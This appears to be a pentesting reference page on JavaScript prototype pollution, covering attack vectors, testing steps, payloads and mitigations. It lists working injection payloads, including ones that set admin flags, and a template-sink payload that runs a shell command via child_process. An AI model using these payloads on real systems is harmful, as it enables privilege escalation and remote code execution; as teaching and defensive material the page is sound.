Prototype Pollution

What it is

Prototype pollution is a JavaScript vulnerability where an attacker injects properties into Object.prototype via untrusted input. Because nearly every JavaScript object inherits from Object.prototype, a polluted property affects the entire application. Impact ranges from denial of service and property injection to authentication bypass and remote code execution depending on how polluted properties are consumed.

Attack Vectors

JSON/query bodies parsed with unsafe merge utilities (lodash.merge, jQuery.extend)
URL/query string parsers that decode __proto__ or constructor keys
Custom recursive object assignment functions
YAML parsers that honor object keys verbatim

Testing Methodology

Send JSON with __proto__ key: {"__proto__": {"polluted": true}}
Try constructor.prototype path: {"constructor": {"prototype": {"polluted": true}}}
Test URL query strings: ?__proto__[polluted]=1
Check if ({}).polluted === true after the request
Identify sinks that consume the polluted property for security decisions

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

__proto__ Injection (JSON)

{"__proto__": {"polluted": true}}{"__proto__": {"admin": true}}{"__proto__": {"isAdmin": true}}

constructor.prototype Path

{"constructor": {"prototype": {"polluted": true}}}

URL Query String

?__proto__[polluted]=1?__proto__.polluted=1?constructor[prototype][polluted]=1

Sink Targeting

{"__proto__": {"outputFunctionName": "_x; process.mainModule.require('child_process').execSync('id'); //x"}}

Indicators of Vulnerability

Object.prototype properties set after sending crafted request
Application behavior changes when prototype properties are injected
Error messages referencing __proto__ or prototype in stack traces

Detection Guidance

Freeze Object.prototype in application startup. Audit all uses of merge, clone, and deep-copy utilities for prototype pollution vulnerabilities.

Mitigation & Remediation

Use Object.freeze(Object.prototype) at application startup
Use Object.create(null) for dictionaries that should not inherit from Object.prototype
Audit and patch merge/clone utilities to check for __proto__ and prototype keys
Validate that JSON keys do not include __proto__, constructor, or prototype
Use libraries patched against prototype pollution